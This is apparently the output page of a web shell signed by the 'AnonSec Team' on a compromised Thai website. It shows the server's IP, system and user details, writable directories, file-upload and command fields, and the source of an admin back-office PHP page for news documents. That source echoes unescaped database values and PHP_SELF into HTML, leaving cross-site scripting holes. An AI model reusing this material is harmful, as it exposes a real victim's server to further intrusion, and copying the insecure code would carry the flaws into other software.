NG1NDEX
Server IP : 103.233.192.212  /  Your IP : 3.143.255.34
Web Server : Apache/2
System : Linux sv1.inde.co.th 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : sumpatuan ( 1058)
PHP Version : 5.5.38
Disable Function : symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,putenv,passthru,escapeshellarg,escapeshellcmd,pcntl_exec,proc_get_status,proc_nice,proc_terminate,pclose,ini_alter,virtual,openlog,ini_restore
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sumpatuan/public_html/admin/top/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/sumpatuan/public_html/admin/top/NewsbookMain.php
<?php  
    require_once('session_backend_administrator.php');
    header('Content-Type: text/html; charset=UTF-8');
    date_default_timezone_set("Asia/Bangkok"); 
    ///// Check EXP //////
    // $check_exp = date('Ymd'); 
    // $sql_data = "SELECT * FROM `data_newsbook` WHERE `checkexp_newsbook`<='$check_exp' ";
    // $qr_data = mysqli_query($con_db_administrator,$sql_data) or die( mysqli_error($con_db_administrator));
    // while($rs_data = mysqli_fetch_array($qr_data)){
    //     $del_id = $rs_data['id_newsbook'];

    //     $sql_del = " DELETE FROM `data_newsbook` WHERE `id_newsbook`='$del_id' ";  
    //     $qr_del = $con_db_administrator->query($sql_del);

    //     $sql_delfile = " SELECT `path_filedoc_newsbook` FROM `data_filedoc_newsbook` WHERE `id_tbdata_filedoc_newsbook`='$del_id' ";
    //     $qr_delfile = mysqli_query($con_db_administrator,$sql_delfile) or die( mysqli_error($con_db_administrator));
    //     while($rs_delfile = mysqli_fetch_array($qr_delfile)){
    //         $delfile = $rs_delfile['path_filedoc_newsbook'];
    //         $del_pathfile = '../../'.$delfile;
    //         @unlink($del_pathfile);
    //     }

    //     $sql_delsqlfile = " DELETE FROM `data_filedoc_newsbook` WHERE `id_tbdata_filedoc_newsbook`='$del_id' ";  
    //     $qr_delsqlfile = $con_db_administrator->query($sql_delsqlfile);
    //     if($qr_delsqlfile){ 	
    //         header("Refresh:0");
    //     }else{
    //         header("Refresh:0");
    //     }
    // }
    ////////////////////////

    if($STT_login=="admin_login_true"){
        $type = "ข้อมูลระบบ Back Office";
        $link = "NewsbookMain";
        $sql_data = "SELECT COUNT(*) FROM `data_newsbook` ";
        $qr_data = mysqli_query($con_db_administrator, $sql_data) or trigger_error("SQL", E_USER_ERROR);
        $rs_data = mysqli_fetch_row($qr_data);
        $numrows = $rs_data[0];
        $rowsperpage = 20;
        $totalpages = ceil($numrows / $rowsperpage);
        if (isset($_GET['currentpage']) && is_numeric($_GET['currentpage'])) {
            $currentpage = (int) $_GET['currentpage'];
        } else {
            $currentpage = 1;
        }
        if ($currentpage > $totalpages) {
            $currentpage = $totalpages;
        }
        if ($currentpage < 1) {
            $currentpage = 1;
        }
        $offset = ($currentpage - 1) * $rowsperpage;
        
        $sql_data = "   SELECT * , CONCAT( DAY(str_to_date(`date_newsbook`,'%d/%m/%Y')) ,'/',  MONTH(str_to_date(`date_newsbook`,'%d/%m/%Y')) ,'/', YEAR(str_to_date(`date_newsbook`,'%d/%m/%Y'))+543 ) AS 'cv_date_newsbook'
                    , CONCAT( DAY(str_to_date(`exp_newsbook`,'%d/%m/%Y')) ,'/',  MONTH(str_to_date(`exp_newsbook`,'%d/%m/%Y')) ,'/', YEAR(str_to_date(`exp_newsbook`,'%d/%m/%Y'))+543 ) AS 'cv_exp_newsbook'
                    FROM `data_newsbook` ORDER BY `id_newsbook` DESC  LIMIT $offset, $rowsperpage ";
        $qr_data = mysqli_query($con_db_administrator,$sql_data) or die( mysqli_error($con_db_administrator));

    }else{
        echo "<SCRIPT type='text/javascript'>
                alert('กรุณาเข้าสู่ระบบ');
                window.location.replace('../index');
            </SCRIPT>";
        exit;
    }
?>
<!doctype html>
<html lang="en">
    <head>
        <?php  include_once ("head.html"); ?>
    </head>
    <body class="" >
        <?php  include_once ("menu.php"); ?>
        <div class="container pt-3 pb-4 " >
            <div class="row ">
                <div class="col text-secondary" >
                    <div class="p-1 ps-2 box-link " ><a href="../backend-administrator" class="link-info">หน้าหลัก</a> / ระบบ Back Office / <?php echo $type;?></div>
                </div>
                <div class="w-100 pb-4"></div>
                <div class="col m-auto" >
                    <div class="bg-line-1 hideTab"></div>
                </div>
                <div class="col-auto text-center">
                    <span class="lh-sm h1 fw-700"><?php echo $type;?></span>
                </div>
                <div class="col m-auto" >
                    <div class="bg-line-1 hideTab"></div>
                </div>
            </div>

            <div class="row mt-3 mb-4">
                <div class="col clearfix pb-2" >
                    <div class="float-start fs-18 fw-700">รายการข้อมูล</div>
                    <div class="float-end"><a class="btn btn-sm btn-dark rounded-5 ps-3 pe-3" href="NewsbookMain-adddata?type=<?php echo $type;?>&link=<?php echo $link;?>" role="button"><i class="fas fa-plus-square text-warning me-1" ></i> เพิ่มข้อมูลใหม่</a></div>
                </div>
                <div class="w-100"></div>
                <div class="col">
                    <div class="w-100 overflow-x-auto">
                        <table class="table table-bordered table-striped table-hover mb-2 tball-mw">
                            <thead >
                                <tr class="text-center">
                                    <th style="width:12%">เลขที่หนังสือ</th>
                                    <th style="width:38%">เรื่อง</th>
                                    <th style="width:12%">หน่วยงาน</th>
                                    <th style="width:12%">วันที่ลง</th>
                                    <th style="width:12%">วันหมดอายุ</th>
                                    <th style="width:8%">สถานะ</th>
                                    <th style="width:6%">จัดการ</th>
                                </tr>
                            </thead>
                            <tbody class="table-group-divider fs-16">
                            <?php
                                while($rs_data = mysqli_fetch_array($qr_data)){
                            ?>
                                <tr>
                                    <td class="text-center"><?php echo $rs_data["number_newsbook"];?></td>
                                    <th style="background-color:#fffbe6;"><?php echo $rs_data["name_newsbook"];?></th>
                                    <td class="text-center"><?php echo $rs_data["namemb_newsbook"];?></td>
                                    <td class="text-center"><?php echo $rs_data["cv_date_newsbook"];?></td>
                                    <td class="text-center"><?php echo $rs_data["cv_exp_newsbook"];?></td>
                                    <td class="text-center">
                                        <?php 
                                            $stt_data = $rs_data["stt_newsbook"];
                                            switch ( $stt_data) {
                                            case "0":   echo '<span class="badge rounded-pill text-bg-success" data-bs-toggle="tooltip" data-bs-title="ข้อมูลแสดงบนหน้าเว็บหลัก">แสดงข้อมูล</span>';
                                                        break;
                                            case "1":   echo '<span class="badge rounded-pill text-bg-danger" data-bs-toggle="tooltip" data-bs-title="ข้อมูลจะไม่แสดงบนหน้าเว็บหลัก">ไม่แสดงข้อมูล</span>';
                                                        break;
                                            }
                                        ?>
                                    </td>
                                    <td class="text-center fs-18" >
                                        <a href="NewsbookMain-edit?id=<?php echo $rs_data["id_newsbook"]; ?>&type=ข้อมูลระบบ Back Office&link=<?php echo $link;?>" class="link-dark" data-bs-toggle="tooltip" data-bs-title="ปรับปรุงข้อมูล"><i class="fas fa-edit" ></i></a> 
                                        <a href="action/del-NewsbookMain?id=<?php echo $rs_data["id_newsbook"]; ?>" class="link-dark" data-bs-toggle="tooltip" data-bs-title="ลบข้อมูล" onclick="return confirm('ต้องการลบข้อมูล ใช่หรือไม่?');" ><i class="fas fa-trash-alt" ></i></a> 
                                    </td>
                                </tr>
                            <?php } ?>
                            <?php 
                                if($numrows=="0"){ echo '<tr><td colspan="8"><div class="w-100 text-center mt-5 mb-5 text-secondary opacity-50 fs-20" ><i class="fas fa-eye-slash"></i> ไม่พบข้อมูล</div></td></tr>';}
                            ?>

                            </tbody>                            
                        </table>
                    </div>
                    <!------------- NUMBER PAGE ------------->
                    <div class="mt-2 fs-12 w-100 text-secondary clearfix">
                        <div class="float-start lh-sm">
                            แสดงข้อมูลตั้งแต่ 1 ถึง 20 <br class="showTab">จากข้อมูลทั้งหมด <span class="text-primary"><?php echo $numrows; ?></span> ข้อมูล
                        </div>
                        <div class="float-end">
                            <div aria-label="Page navigation example">
                                <ul class="pagination pagination-sm justify-content-end">
                                    <?php

                                    $range = 5;
                                    if ($currentpage > 1) {
                                        echo " <li class='page-item'>
                                                <a class='page-link text-black-50' href='{$_SERVER['PHP_SELF']}?currentpage=1' aria-label='Previous'>
                                                    <i class='fas fa-angle-double-left'></i>
                                                </a>
                                                </li>";
                                        $prevpage = $currentpage - 1;
                                        echo "<li class='page-item'>
                                                <a class='page-link text-black-50' href='{$_SERVER['PHP_SELF']}?currentpage=$prevpage' aria-label='Previous'>
                                                <i class='fas fa-angle-left'></i>
                                                </a>
                                            </li>";
                                    } 

                                    for ($x = ($currentpage - $range); $x < (($currentpage + $range) + 1); $x++) {
                                        if (($x > 0) && ($x <= $totalpages)) {
                                            if ($x == $currentpage) {

                                            echo "<li class='page-item active' aria-current='page'>
                                                        <a class='page-link text-bg-secondary' href='#'>$x <span class='sr-only'>(current)</span></a>
                                                    </li> ";

                                            } else {
                                            echo " <li class='page-item'><a class='page-link text-black-50' href='{$_SERVER['PHP_SELF']}?currentpage=$x'>$x</a></li>";
                                            }
                                        }
                                    }

                                    if ($currentpage != $totalpages) {
                                        $nextpage = $currentpage + 1;
                                        echo "<li class='page-item'>
                                                <a class='page-link text-black-50' href='{$_SERVER['PHP_SELF']}?currentpage=$nextpage' aria-label='Next'>
                                                <i class='fas fa-angle-right'></i>
                                                </a>
                                            </li>";
                                        echo "<li class='page-item'>
                                                <a class='page-link text-black-50' href='{$_SERVER['PHP_SELF']}?currentpage=$totalpages' aria-label='Next'>
                                                <i class='fas fa-angle-double-right'></i>
                                                </a>
                                            </li>";
                                    } 
                                    ?>

                                    </ul>
                            </div>       
                        </div>
                    </div>
                    <!--------------------------------------->

                </div>
            </div>

            <?php  include_once ("../footer.php"); ?>
            <script>
                const tooltipTriggerList = document.querySelectorAll('[data-bs-toggle="tooltip"]')
                const tooltipList = [...tooltipTriggerList].map(tooltipTriggerEl => new bootstrap.Tooltip(tooltipTriggerEl))
            </script>
        </div>
    </body>

</html>

Anon7 - 2022
AnonSec Team